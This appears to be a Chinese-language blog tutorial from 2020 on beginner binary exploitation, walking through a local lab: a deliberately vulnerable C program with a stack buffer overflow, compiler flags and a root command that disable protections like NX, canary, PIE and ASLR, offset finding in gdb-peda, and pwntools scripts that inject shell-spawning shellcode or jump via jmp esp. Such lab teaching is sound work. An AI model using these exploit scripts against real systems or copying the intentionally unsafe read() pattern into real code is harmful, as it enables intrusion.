pwn入门实验1:缓冲区溢出(return2shellcode和jmp esp)

实验的缓冲区溢出源码:

// 1.c
#include<stdio.h>
void func()
{
    char name[0x50];//0x100大小的栈空间
    read(0, name, 0x100);//输入0x200大小的数据
    write(1, name, 0x100);
}
int main()
{
    func();
    return 0;
}

 

x86下无任何防护机制编译:

gcc -m32 1.c -o 1 -O0 -fno-stack-protector -z execstack -z norelro -no-pie

m32:生成32bit程序需要gcc-multilib(x86机器上编译不用加)

O0:不进行任何优化

fno-stack-protector:不开启canary栈溢出检测

z execstack:开启栈可执行关闭NX

-no-pie:不开启pie保护

 

NX:-z execstack / -z noexecstack (关闭 / 开启)    栈不可执行,使插入的JMP ESP无效

Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)  canary栈溢出检测:在函数每一次执行时,在栈上随机产生一个Canary值(cookie),往往放置在ebp/rbp的正上方。之后当函数执行结束返回时检测Canary值,若不一致停止程序运行

ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack、heap、libraries的基址;

PIE:-no-pie / -pie (关闭 / 开启)  ,PIE是作用于excutable编译过程的,可将其理解为特殊的PIC(so专用,Position Independent Code),加了PIE选项编译出来的ELF用file命令查看会显示其为so,其随机化了ELF装载内存的基址(代码段、plt、got、data等共同的基址)。

RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)  设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

 

出现问题:fatal error: bits/libc-header-start.h: No such file or directory

原因:64位机子编译c语言32出现
解决办法:安装32位的c语言编译环境

apt-get install gcc-multilib

 

 

编译完成后进行实验前还需要关闭ASLR

判断ASLR是否打开

cat /proc/sys/kernel/randomize_va_space 
#ldd x #另一种判断方式 x是程序名,运行两次,如果两次libc的基址一样也说明了主机没有开启ASLR

 

ASLR(系统开启的)

ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

在linux中使用此技术后,杀死某程序后重新开启,地址换。

在windows中使用此技术后,杀死进程后重新开启,地址不换,重启才会改变。

 

以上cat命令输出的值表示:

0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

 

关闭ASLR,切换至root用户,输入命令

echo 0 > /proc/sys/kernel/randomize_va_space

 

 

首先寻找多少字节能溢出切刚好能够覆盖return addr。我们使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return addr的长度。

gdb-peda$ pattern_create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

 

然后让程序跑起来输入这串字符串后程序崩溃

使用pattern_offset获取偏移地址

Stopped reason: SIGSEGV
0x41416741 in ?? ()
gdb-peda$ pattern_offset 0x41416741
1094805313 found at offset: 92

 

接下来在栈中部署一段shellcode然后让return addr的内容为shellcode的地址

 

先查找eip(esp)地址

这里bbbb是eip的位置cccc是shellcode的位置然后运行这个python后程序崩溃我们调试core dump(gdb -c core)文件找cccc的地址填到eip的位置即可。

from pwn import *
io = process("./1")
payload = 'a' * 92
payload += 'bbbb' # eip
payload += 'cccc' # shellcode
io.send(payload)
io.interactive()

 

运行python程序后崩溃我们得到core文件,调试core dump(gdb -c core)文件找eip的地址

 

个人理解:x/wx 命令是验证地址是不是eip。esp是栈顶指针,因为进入了call,ip最后入栈的,所以此时esp中存放着的是eip

 x /4xg $ebp:查看ebp开始的4个8字节内容(b:单字节,h:双字节,w:四字节,g:八字节;x:十六进制,s:字符串输出,i:反汇编,c:单字符)

查看fun函数结尾的asm,此处先leave,在ret,验证了我们的猜想

leave指令是将EBP寄存器的内容复制到ESP寄存器中(此处即为将跳入call前的eip放入到esp中,以便ret弹出)

RET指令则是将栈顶的返回地址弹出到EIP,然后按照EIP此时指示的指令地址继续执行程序。

 

 

所以我们在填充到溢出的地方后要做的两件事:

1.将要执行的eip放到原来esp的地址处(放入shellcode的地址)

2.从ret原来的地址放入shellcode

 

得到我们将要写入的shellcode的地址我们可以写exp了

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')#arch取决于file查看文件的arch,不是看系统,如果64位就只用amd64
io = process("./2")
payload = 'a' * 92
payload += p32(0xffffd140)#将shellcode地址放入eip中
payload += asm(shellcraft.sh())#写入shellcode
raw_input()
io.send(payload)
io.interactive()

 

运行exp:

 

 

 

jmp esp

在当前栈空间内进行堆栈清理返回到前一个栈空间时,会将esp指向old esp

如果我们利用栈溢出,将返回地址覆盖为指令jmp esp的地址,那么在返回到jmp esp指令时,程序在下一步就会跳转到我们的old esp继续执行

 

1.查找libc的版本

gdb-peda$ info sharedlibrary
From        To          Syms Read   Shared Object Library
0xf7fd2100  0xf7fef7f3  Yes (*)     /lib/ld-linux.so.2
0xf7de61d0  0xf7f3f71a  Yes (*)     /lib/i386-linux-gnu/libc.so.6  #这里是要的libc库版本
(*): Shared library is missing debugging information.

 

2.使用编写的脚本获取jmp esp的相对libc的偏移地址

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
libc = ELF('./libc.so.6')                           
jmp_esp = asm('jmp esp')                                   

jmp_esp_addr_in_libc = libc.search(jmp_esp).next()          
print hex(jmp_esp_addr_in_libc)

#得到:0x63a1

 

3.获取libc在程序当中的基址

root@luo-virtual-machine:~/pwm# LD_TRACE_LOADED_OBJECTS=1 ./task1
    linux-gate.so.1 (0xf7fd0000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dc9000) #libc在程序的基址:0xf7dc9000
/lib/ld-linux.so.2 (0xf7fd1000)

 

最后把jmp esp的地址(0x63a1+0xf7dc9000)填入到bbbb中也可getshell

 

 

参考:https://www.anquanke.com/post/id/85138

posted @ 2020-10-30 12:27  LuoSpider  阅读(1702)  评论(0编辑  收藏  举报